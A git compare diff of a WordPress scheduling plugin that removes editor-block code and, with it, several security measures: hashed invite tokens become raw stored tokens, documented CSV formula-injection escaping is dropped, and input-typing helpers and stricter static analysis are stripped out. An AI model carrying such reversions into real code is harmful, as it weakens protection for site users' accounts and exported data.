Compare commits
1 Commits
main
..
5140e76347
| Author | SHA1 | Date | |
|---|---|---|---|
|
5140e76347
|
@@ -38,8 +38,6 @@ src/ — All plugin PHP (PSR-4 namespace: Unsupervised\Schedula
|
|||||||
AdminMenu.php — Registers wp-admin menu pages
|
AdminMenu.php — Registers wp-admin menu pages
|
||||||
RestRegistrar.php — Registers all REST routes under us-scheduler/v1
|
RestRegistrar.php — Registers all REST routes under us-scheduler/v1
|
||||||
ShortcodeRegistrar.php — Registers [us_booking] and [us_student_login] shortcodes
|
ShortcodeRegistrar.php — Registers [us_booking] and [us_student_login] shortcodes
|
||||||
BlockRegistrar.php — Registers Gutenberg dynamic-block wrappers for the shortcodes
|
|
||||||
BlockPreview.php — Static editor-preview markup for the blocks
|
|
||||||
templates/ — PHP view files included by controllers/shortcodes
|
templates/ — PHP view files included by controllers/shortcodes
|
||||||
assets/ — CSS and JS (vanilla JS, no build step)
|
assets/ — CSS and JS (vanilla JS, no build step)
|
||||||
tests/Unit/ — PHPUnit unit tests (PSR-4: Unsupervised\Schedular\Tests\)
|
tests/Unit/ — PHPUnit unit tests (PSR-4: Unsupervised\Schedular\Tests\)
|
||||||
@@ -68,9 +66,6 @@ All database access goes through repository classes within their domain package.
|
|||||||
| `AdminMenu` | Registers wp-admin menu pages |
|
| `AdminMenu` | Registers wp-admin menu pages |
|
||||||
| `RestRegistrar` | Registers all REST routes under `us-scheduler/v1` |
|
| `RestRegistrar` | Registers all REST routes under `us-scheduler/v1` |
|
||||||
| `ShortcodeRegistrar` | Registers `[us_booking]` and `[us_student_login]` shortcodes |
|
| `ShortcodeRegistrar` | Registers `[us_booking]` and `[us_student_login]` shortcodes |
|
||||||
| `BlockRegistrar` | Registers Gutenberg dynamic-block wrappers for the shortcodes |
|
|
||||||
| `BlockPreview` | Static editor-preview markup for the blocks |
|
|
||||||
| `Val` | Runtime coercion of untyped WP boundary values (wpdb rows, REST params, superglobals) |
|
|
||||||
| `Auth\RoleManager` | Registers `us_instructor` and `us_student` roles with custom caps |
|
| `Auth\RoleManager` | Registers `us_instructor` and `us_student` roles with custom caps |
|
||||||
| `Auth\LoginPage` | Renders front-end student login form |
|
| `Auth\LoginPage` | Renders front-end student login form |
|
||||||
| `Availability\AvailabilitySlot` | Immutable value object for a slot row |
|
| `Availability\AvailabilitySlot` | Immutable value object for a slot row |
|
||||||
@@ -109,6 +104,6 @@ All test classes extend `tests/Unit/TestCase.php`, which handles `Monkey\setUp()
|
|||||||
### CI
|
### CI
|
||||||
Gitea Actions (`.gitea/workflows/ci.yml`) runs on every push and pull request:
|
Gitea Actions (`.gitea/workflows/ci.yml`) runs on every push and pull request:
|
||||||
- **lint** — PHPCS WordPress coding standards
|
- **lint** — PHPCS WordPress coding standards
|
||||||
- **static-analysis** — PHPStan level 10
|
- **static-analysis** — PHPStan level 6
|
||||||
- **test** — PHPUnit on PHP 8.1, 8.2, 8.3
|
- **test** — PHPUnit on PHP 8.1, 8.2, 8.3
|
||||||
- **no-debug** — rejects commits with `var_dump`, `error_log`, etc. in `src/`
|
- **no-debug** — rejects commits with `var_dump`, `error_log`, etc. in `src/`
|
||||||
|
|||||||
@@ -33,10 +33,3 @@
|
|||||||
color: #c00;
|
color: #c00;
|
||||||
margin-top: 8px;
|
margin-top: 8px;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Shown only in block-editor previews (see BlockPreview). */
|
|
||||||
.us-editor-note {
|
|
||||||
font-size: 0.85em;
|
|
||||||
font-style: italic;
|
|
||||||
opacity: 0.7;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,65 +0,0 @@
|
|||||||
/* global wp */
|
|
||||||
(function () {
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const { registerBlockType } = wp.blocks;
|
|
||||||
const { createElement: el } = wp.element;
|
|
||||||
const { useBlockProps } = wp.blockEditor;
|
|
||||||
const ServerSideRender = wp.serverSideRender;
|
|
||||||
const { __ } = wp.i18n;
|
|
||||||
|
|
||||||
const blocks = [
|
|
||||||
{
|
|
||||||
name: 'us-scheduler/booking',
|
|
||||||
title: __('Lesson Booking', 'unsupervised-schedular'),
|
|
||||||
description: __('Lets students browse availability and book lessons. Shows a styled preview in the editor.', 'unsupervised-schedular'),
|
|
||||||
icon: 'calendar-alt',
|
|
||||||
keywords: ['booking', 'lesson', 'schedule'],
|
|
||||||
shortcode: 'us_booking',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: 'us-scheduler/student-login',
|
|
||||||
title: __('Student Login', 'unsupervised-schedular'),
|
|
||||||
description: __('The front-end login form for students.', 'unsupervised-schedular'),
|
|
||||||
icon: 'admin-users',
|
|
||||||
keywords: ['login', 'student', 'sign in'],
|
|
||||||
shortcode: 'us_student_login',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: 'us-scheduler/student-register',
|
|
||||||
title: __('Student Registration', 'unsupervised-schedular'),
|
|
||||||
description: __('The invite-only student registration form.', 'unsupervised-schedular'),
|
|
||||||
icon: 'welcome-add-page',
|
|
||||||
keywords: ['register', 'student', 'invite'],
|
|
||||||
shortcode: 'us_student_register',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: 'us-scheduler/group-classes',
|
|
||||||
title: __('Group Classes', 'unsupervised-schedular'),
|
|
||||||
description: __('Lets students browse and enrol in group classes. Shows a styled preview in the editor.', 'unsupervised-schedular'),
|
|
||||||
icon: 'groups',
|
|
||||||
keywords: ['group', 'class', 'enrol'],
|
|
||||||
shortcode: 'us_group_classes',
|
|
||||||
},
|
|
||||||
];
|
|
||||||
|
|
||||||
blocks.forEach((def) => {
|
|
||||||
registerBlockType(def.name, {
|
|
||||||
apiVersion: 3,
|
|
||||||
title: def.title,
|
|
||||||
description: def.description,
|
|
||||||
icon: def.icon,
|
|
||||||
category: 'widgets',
|
|
||||||
keywords: def.keywords,
|
|
||||||
supports: { html: false, multiple: false },
|
|
||||||
example: {},
|
|
||||||
edit: function Edit() {
|
|
||||||
return el('div', useBlockProps(), el(ServerSideRender, { block: def.name }));
|
|
||||||
},
|
|
||||||
save: () => null,
|
|
||||||
transforms: {
|
|
||||||
from: [{ type: 'shortcode', tag: def.shortcode }],
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}());
|
|
||||||
+3
-3
@@ -11,8 +11,8 @@
|
|||||||
"phpunit/phpunit": "^10.5",
|
"phpunit/phpunit": "^10.5",
|
||||||
"brain/monkey": "^2.6",
|
"brain/monkey": "^2.6",
|
||||||
"mockery/mockery": "^1.6",
|
"mockery/mockery": "^1.6",
|
||||||
"phpstan/phpstan": "^2.0",
|
"phpstan/phpstan": "^1.10",
|
||||||
"szepeviktor/phpstan-wordpress": "^2.0",
|
"szepeviktor/phpstan-wordpress": "^1.3",
|
||||||
"php-stubs/wordpress-stubs": "^6.0",
|
"php-stubs/wordpress-stubs": "^6.0",
|
||||||
"squizlabs/php_codesniffer": "^3.7",
|
"squizlabs/php_codesniffer": "^3.7",
|
||||||
"wp-coding-standards/wpcs": "^3.0"
|
"wp-coding-standards/wpcs": "^3.0"
|
||||||
@@ -30,7 +30,7 @@
|
|||||||
"scripts": {
|
"scripts": {
|
||||||
"test": "phpunit --configuration phpunit.xml",
|
"test": "phpunit --configuration phpunit.xml",
|
||||||
"test:coverage": "phpunit --configuration phpunit.xml --coverage-html coverage/",
|
"test:coverage": "phpunit --configuration phpunit.xml --coverage-html coverage/",
|
||||||
"lint": "phpstan analyse --configuration phpstan.neon --memory-limit=1G",
|
"lint": "phpstan analyse src/ --level=6 --configuration phpstan.neon --memory-limit=1G",
|
||||||
"cs": "phpcs --standard=phpcs.xml.dist",
|
"cs": "phpcs --standard=phpcs.xml.dist",
|
||||||
"cs:fix": "phpcbf --standard=phpcs.xml.dist",
|
"cs:fix": "phpcbf --standard=phpcs.xml.dist",
|
||||||
"build": "bash bin/build-zip.sh"
|
"build": "bash bin/build-zip.sh"
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ Stored in the `us_registration_mode` option (default `invite`):
|
|||||||
|--------------------|------------------|--------------------------------------------------------|
|
|--------------------|------------------|--------------------------------------------------------|
|
||||||
| `id` | BIGINT UNSIGNED | Primary key |
|
| `id` | BIGINT UNSIGNED | Primary key |
|
||||||
| `email` | VARCHAR(191) | Invited email address |
|
| `email` | VARCHAR(191) | Invited email address |
|
||||||
| `token` | VARCHAR(64) | SHA-256 hash of the token embedded in the registration link (raw token is never stored) |
|
| `token` | VARCHAR(64) | Opaque token embedded in the registration link |
|
||||||
| `role` | VARCHAR(32) | Role granted on acceptance (default `us_student`) |
|
| `role` | VARCHAR(32) | Role granted on acceptance (default `us_student`) |
|
||||||
| `status` | VARCHAR(20) | `pending` / `accepted` / `revoked` |
|
| `status` | VARCHAR(20) | `pending` / `accepted` / `revoked` |
|
||||||
| `invited_by` | BIGINT UNSIGNED | WordPress user ID of the studio admin who invited |
|
| `invited_by` | BIGINT UNSIGNED | WordPress user ID of the studio admin who invited |
|
||||||
@@ -34,16 +34,16 @@ recorded in `us_policy_acceptances` with `registration_type = account` and
|
|||||||
`registration_id = <new user ID>`.
|
`registration_id = <new user ID>`.
|
||||||
|
|
||||||
## Flow (invite mode)
|
## Flow (invite mode)
|
||||||
1. Studio admin opens **Invites** (`manage_students`) and invites an email; an invite row is created storing the token's SHA-256 hash, and the registration link (with the raw token) is shown **once** in a notice. To re-send a lost link, revoke and re-invite.
|
1. Studio admin opens **Invites** (`manage_students`) and invites an email; an invite row is created with a token and a registration link.
|
||||||
2. The invitee opens `[us_student_register]` with the token (`?us_invite=<token>`); the lookup hashes the submitted token and matches it against the stored hash.
|
2. The invitee opens `[us_student_register]` with the token (`?us_invite=<token>`).
|
||||||
3. The form pre-fills the email and collects a display name and password, and renders the signup-scoped published policies, each with a required acceptance checkbox.
|
3. The form pre-fills the email and collects a display name and password, and renders the signup-scoped published policies, each with a required acceptance checkbox.
|
||||||
4. On submit, the token is re-validated (hashed lookup); a `us_student` user is created, the policy acceptances are recorded (`account` type), the invite is marked `accepted`, and the user is logged in.
|
4. On submit, the token is re-validated; a `us_student` user is created, the policy acceptances are recorded (`account` type), the invite is marked `accepted`, and the user is logged in.
|
||||||
|
|
||||||
## Admin Interface
|
## Admin Interface
|
||||||
**Invites** in wp-admin (`manage_students`, studio admin only):
|
**Invites** in wp-admin (`manage_students`, studio admin only):
|
||||||
- Select the **registration page** (the page hosting `[us_student_register]`), stored in the `us_registration_page_id` option; invitation links point there (falling back to the home page if unset)
|
- Select the **registration page** (the page hosting `[us_student_register]`), stored in the `us_registration_page_id` option; invitation links point there (falling back to the home page if unset)
|
||||||
- Invite an email (creates a pending invite; the link is displayed once, at creation only)
|
- Invite an email (creates a pending invite + link)
|
||||||
- List pending invites (email + invited date); revoke an invite
|
- List pending invites; revoke an invite
|
||||||
|
|
||||||
## Frontend Shortcode
|
## Frontend Shortcode
|
||||||
- `[us_student_register]` — the registration page. Shows the form for a valid pending invite; otherwise shows an "by invitation only" message (in `invite` mode).
|
- `[us_student_register]` — the registration page. Shows the form for a valid pending invite; otherwise shows an "by invitation only" message (in `invite` mode).
|
||||||
|
|||||||
@@ -46,12 +46,6 @@ offering/duration before selecting a slot to register for.
|
|||||||
|
|
||||||
`GET` supports query params: `instructor_id`, `offering_id`, `duration_minutes`, `from` (datetime), `to` (datetime).
|
`GET` supports query params: `instructor_id`, `offering_id`, `duration_minutes`, `from` (datetime), `to` (datetime).
|
||||||
|
|
||||||
`POST` validates `start_dt`/`end_dt` (admin form and REST alike) via
|
|
||||||
`AvailabilitySlot::normalizeDateTime()`: the canonical `Y-m-d H:i[:s]` and HTML
|
|
||||||
`datetime-local` (`Y-m-d\TH:i[:s]`) forms are normalised to `Y-m-d H:i:s`;
|
|
||||||
anything else — or an end not after the start — is rejected (REST responds
|
|
||||||
`400 invalid_datetime`; the admin form is a no-op).
|
|
||||||
|
|
||||||
## Implementation
|
## Implementation
|
||||||
- Repository: `Unsupervised\Schedular\Availability\AvailabilityRepository`
|
- Repository: `Unsupervised\Schedular\Availability\AvailabilityRepository`
|
||||||
- Model: `Unsupervised\Schedular\Availability\AvailabilitySlot`
|
- Model: `Unsupervised\Schedular\Availability\AvailabilitySlot`
|
||||||
|
|||||||
@@ -1,66 +0,0 @@
|
|||||||
# Editor Blocks
|
|
||||||
|
|
||||||
Gutenberg dynamic-block wrappers for the plugin's four front-end shortcodes,
|
|
||||||
so the pages can be previewed and styled inside the block editor instead of
|
|
||||||
appearing as grey shortcode text.
|
|
||||||
|
|
||||||
## Blocks
|
|
||||||
|
|
||||||
| Block | Wraps shortcode | Front-end renderer |
|
|
||||||
|---|---|---|
|
|
||||||
| `us-scheduler/booking` | `[us_booking]` | `Booking\BookingPage::render()` |
|
|
||||||
| `us-scheduler/student-login` | `[us_student_login]` | `Auth\LoginPage::render()` |
|
|
||||||
| `us-scheduler/student-register` | `[us_student_register]` | `Auth\RegistrationPage::render()` |
|
|
||||||
| `us-scheduler/group-classes` | `[us_group_classes]` | `GroupClass\GroupClassPage::render()` |
|
|
||||||
|
|
||||||
The shortcodes remain registered for back-compat; blocks and shortcodes share
|
|
||||||
the same page objects (constructed once in `Plugin::boot()`), so front-end
|
|
||||||
output is identical either way. Pasting a shortcode into the block editor
|
|
||||||
auto-converts it to the matching block via a `transforms.from` shortcode
|
|
||||||
transform.
|
|
||||||
|
|
||||||
## How it works
|
|
||||||
|
|
||||||
- **`BlockRegistrar`** (`src/BlockRegistrar.php`) hooks `init` and registers
|
|
||||||
each block with `register_block_type()`: a `render_callback` per block, the
|
|
||||||
shared editor script (`assets/js/blocks.js`, handle
|
|
||||||
`us-scheduler-blocks`), and the front-end stylesheet
|
|
||||||
(`assets/css/frontend.css`, handle `us-scheduler`) as the block `style` so
|
|
||||||
it also loads inside the editor and previews pick up theme styling.
|
|
||||||
- **`assets/js/blocks.js`** (vanilla JS, no build step) registers the client
|
|
||||||
side of each block — title, icon, keywords, shortcode transform — and
|
|
||||||
renders the editor preview with `wp.serverSideRender`, which fetches the
|
|
||||||
server-rendered markup via the `/wp/v2/block-renderer` REST route.
|
|
||||||
- **`BlockPreview`** (`src/BlockPreview.php`) supplies static, script-free
|
|
||||||
markup for editor previews. `BlockRegistrar::isEditorPreview()` detects the
|
|
||||||
block-renderer context via the `REST_REQUEST` constant (front-end template
|
|
||||||
rendering never happens inside a REST request) and renders the preview
|
|
||||||
instead of the live page.
|
|
||||||
|
|
||||||
## Editor preview behaviour
|
|
||||||
|
|
||||||
Live pages cannot run in the editor: booking and group classes are populated
|
|
||||||
by JavaScript making authenticated REST calls (and may load Stripe.js),
|
|
||||||
registration requires a valid invite token, and login short-circuits for
|
|
||||||
logged-in users (the editing admin always is). Each preview therefore
|
|
||||||
reproduces the live wrapper elements and CSS classes with representative
|
|
||||||
placeholder content:
|
|
||||||
|
|
||||||
- **Booking** — `#us-booking-app` with sample `.us-day` / `.us-slot` rows and
|
|
||||||
disabled Book buttons.
|
|
||||||
- **Group classes** — `#us-group-app` with a sample `.us-class` card and a
|
|
||||||
disabled Enrol button.
|
|
||||||
- **Login** — the real `templates/frontend/login-page.php` template (it has
|
|
||||||
no request-state dependencies).
|
|
||||||
- **Registration** — a disabled sample of the `.us-register-form` fields.
|
|
||||||
|
|
||||||
Each preview starts with a `.us-editor-note` paragraph explaining what the
|
|
||||||
published page shows instead. The note class only appears in editor previews.
|
|
||||||
|
|
||||||
## Tests
|
|
||||||
|
|
||||||
- `tests/Unit/BlockRegistrarTest.php` — hook registration, block/asset
|
|
||||||
registration, front-end delegation to the page objects, preview-mode
|
|
||||||
routing.
|
|
||||||
- `tests/Unit/BlockPreviewTest.php` — preview markup mirrors the live CSS
|
|
||||||
classes/ids and includes the editor note.
|
|
||||||
@@ -54,11 +54,6 @@ and `instructor_id` query params as the page and returns `text/csv` with a
|
|||||||
`Content-Disposition: attachment` header. Instructor requests are scoped to
|
`Content-Disposition: attachment` header. Instructor requests are scoped to
|
||||||
their own rows regardless of `instructor_id`.
|
their own rows regardless of `instructor_id`.
|
||||||
|
|
||||||
Fields that a spreadsheet would interpret as a formula (leading `=`, `+`, `-`,
|
|
||||||
`@`, tab, or CR — e.g. a hostile student display name) are prefixed with an
|
|
||||||
apostrophe so the export can never carry CSV formula injection into Excel or
|
|
||||||
Google Sheets.
|
|
||||||
|
|
||||||
## Implementation
|
## Implementation
|
||||||
|
|
||||||
- Report aggregator (pure totals + CSV): `Unsupervised\Schedular\Payment\PaymentReport`
|
- Report aggregator (pure totals + CSV): `Unsupervised\Schedular\Payment\PaymentReport`
|
||||||
|
|||||||
+1
-26
@@ -44,32 +44,7 @@
|
|||||||
</properties>
|
</properties>
|
||||||
</rule>
|
</rule>
|
||||||
|
|
||||||
<!--
|
|
||||||
Val::* type-narrowing helpers (src/Val.php) wrap superglobal reads so
|
|
||||||
PHPStan level 10 sees a typed value, e.g.
|
|
||||||
`absint( Val::int( $_GET['id'] ?? 0 ) )`. The sniff walks wrapping
|
|
||||||
calls innermost-out and aborts at the first unrecognised function
|
|
||||||
name, so the Val method names must be registered for it to look past
|
|
||||||
them. Because they are static calls (`::`), the sniff never credits
|
|
||||||
them as sanitizers themselves — it skips them and still requires a
|
|
||||||
real sanitizing function around the read.
|
|
||||||
-->
|
|
||||||
<rule ref="WordPress.Security.ValidatedSanitizedInput">
|
|
||||||
<properties>
|
|
||||||
<property name="customUnslashingSanitizingFunctions" type="array">
|
|
||||||
<element value="int"/>
|
|
||||||
<element value="intOrNull"/>
|
|
||||||
<element value="float"/>
|
|
||||||
<element value="bool"/>
|
|
||||||
</property>
|
|
||||||
<property name="customSanitizingFunctions" type="array">
|
|
||||||
<element value="string"/>
|
|
||||||
<element value="stringOrNull"/>
|
|
||||||
</property>
|
|
||||||
</properties>
|
|
||||||
</rule>
|
|
||||||
|
|
||||||
<!-- PHP 8.1+ minimum — allow modern syntax. -->
|
<!-- PHP 8.1+ minimum — allow modern syntax. -->
|
||||||
<config name="minimum_supported_wp_version" value="6.2"/>
|
<config name="minimum_supported_wp_version" value="6.0"/>
|
||||||
<config name="testVersion" value="8.1-"/>
|
<config name="testVersion" value="8.1-"/>
|
||||||
</ruleset>
|
</ruleset>
|
||||||
|
|||||||
+1
-1
@@ -2,7 +2,7 @@ includes:
|
|||||||
- vendor/szepeviktor/phpstan-wordpress/extension.neon
|
- vendor/szepeviktor/phpstan-wordpress/extension.neon
|
||||||
|
|
||||||
parameters:
|
parameters:
|
||||||
level: 10
|
level: 6
|
||||||
paths:
|
paths:
|
||||||
- src
|
- src
|
||||||
bootstrapFiles:
|
bootstrapFiles:
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Auth;
|
namespace Unsupervised\Schedular\Auth;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Site-owner toggles for whether WordPress administrators automatically receive
|
* Site-owner toggles for whether WordPress administrators automatically receive
|
||||||
* the studio-admin and/or instructor capabilities.
|
* the studio-admin and/or instructor capabilities.
|
||||||
@@ -41,7 +39,7 @@ class AccessSettings {
|
|||||||
* single-account behaviour.
|
* single-account behaviour.
|
||||||
*/
|
*/
|
||||||
private function flag( string $option ): bool {
|
private function flag( string $option ): bool {
|
||||||
return '0' !== Val::string( get_option( $option, '1' ) );
|
return '0' !== (string) get_option( $option, '1' );
|
||||||
}
|
}
|
||||||
|
|
||||||
public function renderPage(): void {
|
public function renderPage(): void {
|
||||||
|
|||||||
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Auth;
|
namespace Unsupervised\Schedular\Auth;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Studio-admin **Instructors** page: create instructor accounts and toggle each
|
* Studio-admin **Instructors** page: create instructor accounts and toggle each
|
||||||
* instructor's managed capabilities. Gated on `manage_instructors`. A studio
|
* instructor's managed capabilities. Gated on `manage_instructors`. A studio
|
||||||
@@ -26,7 +24,7 @@ class InstructorController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only instructor selector.
|
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only instructor selector.
|
||||||
$instructorId = absint( Val::int( $_GET['instructor_id'] ?? 0 ) );
|
$instructorId = absint( $_GET['instructor_id'] ?? 0 );
|
||||||
$instructor = $instructorId > 0 ? get_userdata( $instructorId ) : false;
|
$instructor = $instructorId > 0 ? get_userdata( $instructorId ) : false;
|
||||||
|
|
||||||
if ( $instructor && in_array( RoleManager::INSTRUCTOR, (array) $instructor->roles, true ) ) {
|
if ( $instructor && in_array( RoleManager::INSTRUCTOR, (array) $instructor->roles, true ) ) {
|
||||||
@@ -52,15 +50,12 @@ class InstructorController {
|
|||||||
'email' => $user->user_email,
|
'email' => $user->user_email,
|
||||||
'registered' => $user->user_registered,
|
'registered' => $user->user_registered,
|
||||||
],
|
],
|
||||||
array_filter(
|
get_users(
|
||||||
get_users(
|
[
|
||||||
[
|
'role' => RoleManager::INSTRUCTOR,
|
||||||
'role' => RoleManager::INSTRUCTOR,
|
'orderby' => 'display_name',
|
||||||
'orderby' => 'display_name',
|
'order' => 'ASC',
|
||||||
'order' => 'ASC',
|
]
|
||||||
]
|
|
||||||
),
|
|
||||||
static fn( mixed $user ): bool => $user instanceof \WP_User
|
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -71,7 +66,7 @@ class InstructorController {
|
|||||||
private function handleFormAction(): string {
|
private function handleFormAction(): string {
|
||||||
// Nonce is verified by the caller (renderPage) before this method runs.
|
// Nonce is verified by the caller (renderPage) before this method runs.
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
|
$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|
||||||
if ( 'create' === $action ) {
|
if ( 'create' === $action ) {
|
||||||
@@ -87,8 +82,8 @@ class InstructorController {
|
|||||||
|
|
||||||
private function createInstructor(): string {
|
private function createInstructor(): string {
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$email = sanitize_email( Val::string( wp_unslash( $_POST['email'] ?? '' ) ) );
|
$email = sanitize_email( wp_unslash( $_POST['email'] ?? '' ) );
|
||||||
$name = sanitize_text_field( Val::string( wp_unslash( $_POST['display_name'] ?? '' ) ) );
|
$name = sanitize_text_field( wp_unslash( $_POST['display_name'] ?? '' ) );
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|
||||||
if ( ! is_email( $email ) ) {
|
if ( ! is_email( $email ) ) {
|
||||||
@@ -130,9 +125,8 @@ class InstructorController {
|
|||||||
|
|
||||||
private function updateCaps(): string {
|
private function updateCaps(): string {
|
||||||
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
// phpcs:disable WordPress.Security.NonceVerification.Missing
|
||||||
$instructorId = absint( Val::int( $_POST['instructor_id'] ?? 0 ) );
|
$instructorId = absint( $_POST['instructor_id'] ?? 0 );
|
||||||
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- each capability key is sanitized with sanitize_key() in the array_map callback.
|
$submitted = array_map( 'sanitize_key', (array) wp_unslash( $_POST['capabilities'] ?? [] ) );
|
||||||
$submitted = array_values( array_map( static fn( mixed $cap ): string => sanitize_key( Val::string( $cap ) ), (array) wp_unslash( $_POST['capabilities'] ?? [] ) ) );
|
|
||||||
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
// phpcs:enable WordPress.Security.NonceVerification.Missing
|
||||||
|
|
||||||
$instructor = $instructorId > 0 ? get_userdata( $instructorId ) : false;
|
$instructor = $instructorId > 0 ? get_userdata( $instructorId ) : false;
|
||||||
|
|||||||
+10
-22
@@ -3,8 +3,6 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Auth;
|
namespace Unsupervised\Schedular\Auth;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class Invite {
|
class Invite {
|
||||||
|
|
||||||
public const STATUS_PENDING = 'pending';
|
public const STATUS_PENDING = 'pending';
|
||||||
@@ -24,16 +22,6 @@ class Invite {
|
|||||||
*/
|
*/
|
||||||
public const EXPIRY_DAYS = 14;
|
public const EXPIRY_DAYS = 14;
|
||||||
|
|
||||||
/**
|
|
||||||
* Hash a raw invitation token for storage and lookup. Only the hash is
|
|
||||||
* persisted, so a database leak (backup, SQL injection elsewhere) cannot be
|
|
||||||
* used to redeem pending invites; the raw token exists only in the emailed
|
|
||||||
* link and is shown to the admin once, at creation.
|
|
||||||
*/
|
|
||||||
public static function hashToken( string $rawToken ): string {
|
|
||||||
return hash( 'sha256', $rawToken );
|
|
||||||
}
|
|
||||||
|
|
||||||
public function __construct(
|
public function __construct(
|
||||||
public readonly string $email,
|
public readonly string $email,
|
||||||
public readonly string $token,
|
public readonly string $token,
|
||||||
@@ -46,17 +34,17 @@ class Invite {
|
|||||||
public readonly ?int $id = null,
|
public readonly ?int $id = null,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
public static function fromRow( \stdClass $row ): self {
|
public static function fromRow( object $row ): self {
|
||||||
return new self(
|
return new self(
|
||||||
email: Val::string( $row->email ),
|
email: $row->email,
|
||||||
token: Val::string( $row->token ),
|
token: $row->token,
|
||||||
role: Val::string( $row->role ),
|
role: $row->role,
|
||||||
status: Val::string( $row->status ),
|
status: $row->status,
|
||||||
invitedBy: Val::intOrNull( $row->invited_by ),
|
invitedBy: null !== $row->invited_by ? (int) $row->invited_by : null,
|
||||||
acceptedUserId: Val::intOrNull( $row->accepted_user_id ),
|
acceptedUserId: null !== $row->accepted_user_id ? (int) $row->accepted_user_id : null,
|
||||||
acceptedAt: Val::stringOrNull( $row->accepted_at ),
|
acceptedAt: $row->accepted_at,
|
||||||
createdAt: Val::stringOrNull( $row->created_at ?? null ),
|
createdAt: $row->created_at ?? null,
|
||||||
id: Val::int( $row->id ),
|
id: (int) $row->id,
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ class InviteRepository {
|
|||||||
|
|
||||||
public function findByToken( string $token ): ?Invite {
|
public function findByToken( string $token ): ?Invite {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE token = %s', $this->table, $token )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE token = %s", $token )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Invite::fromRow( $row ) : null;
|
return $row ? Invite::fromRow( $row ) : null;
|
||||||
@@ -40,7 +40,7 @@ class InviteRepository {
|
|||||||
|
|
||||||
public function findById( int $id ): ?Invite {
|
public function findById( int $id ): ?Invite {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
|
$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
|
||||||
);
|
);
|
||||||
|
|
||||||
return $row ? Invite::fromRow( $row ) : null;
|
return $row ? Invite::fromRow( $row ) : null;
|
||||||
@@ -52,8 +52,7 @@ class InviteRepository {
|
|||||||
public function findPendingByEmail( string $email ): ?Invite {
|
public function findPendingByEmail( string $email ): ?Invite {
|
||||||
$row = $this->db->get_row(
|
$row = $this->db->get_row(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE email = %s AND status = %s ORDER BY id DESC LIMIT 1',
|
"SELECT * FROM {$this->table} WHERE email = %s AND status = %s ORDER BY id DESC LIMIT 1",
|
||||||
$this->table,
|
|
||||||
$email,
|
$email,
|
||||||
Invite::STATUS_PENDING
|
Invite::STATUS_PENDING
|
||||||
)
|
)
|
||||||
@@ -70,8 +69,7 @@ class InviteRepository {
|
|||||||
public function findPending(): array {
|
public function findPending(): array {
|
||||||
$rows = $this->db->get_results(
|
$rows = $this->db->get_results(
|
||||||
$this->db->prepare(
|
$this->db->prepare(
|
||||||
'SELECT * FROM %i WHERE status = %s ORDER BY created_at DESC',
|
"SELECT * FROM {$this->table} WHERE status = %s ORDER BY created_at DESC",
|
||||||
$this->table,
|
|
||||||
Invite::STATUS_PENDING
|
Invite::STATUS_PENDING
|
||||||
)
|
)
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -3,14 +3,12 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Unsupervised\Schedular\Auth;
|
namespace Unsupervised\Schedular\Auth;
|
||||||
|
|
||||||
use Unsupervised\Schedular\Val;
|
|
||||||
|
|
||||||
class LoginPage {
|
class LoginPage {
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Renders the student login shortcode output.
|
* Renders the student login shortcode output.
|
||||||
*
|
*
|
||||||
* @param array<string> $atts Shortcode attributes (unused — reserved for future options).
|
* @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
|
||||||
*/
|
*/
|
||||||
public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
|
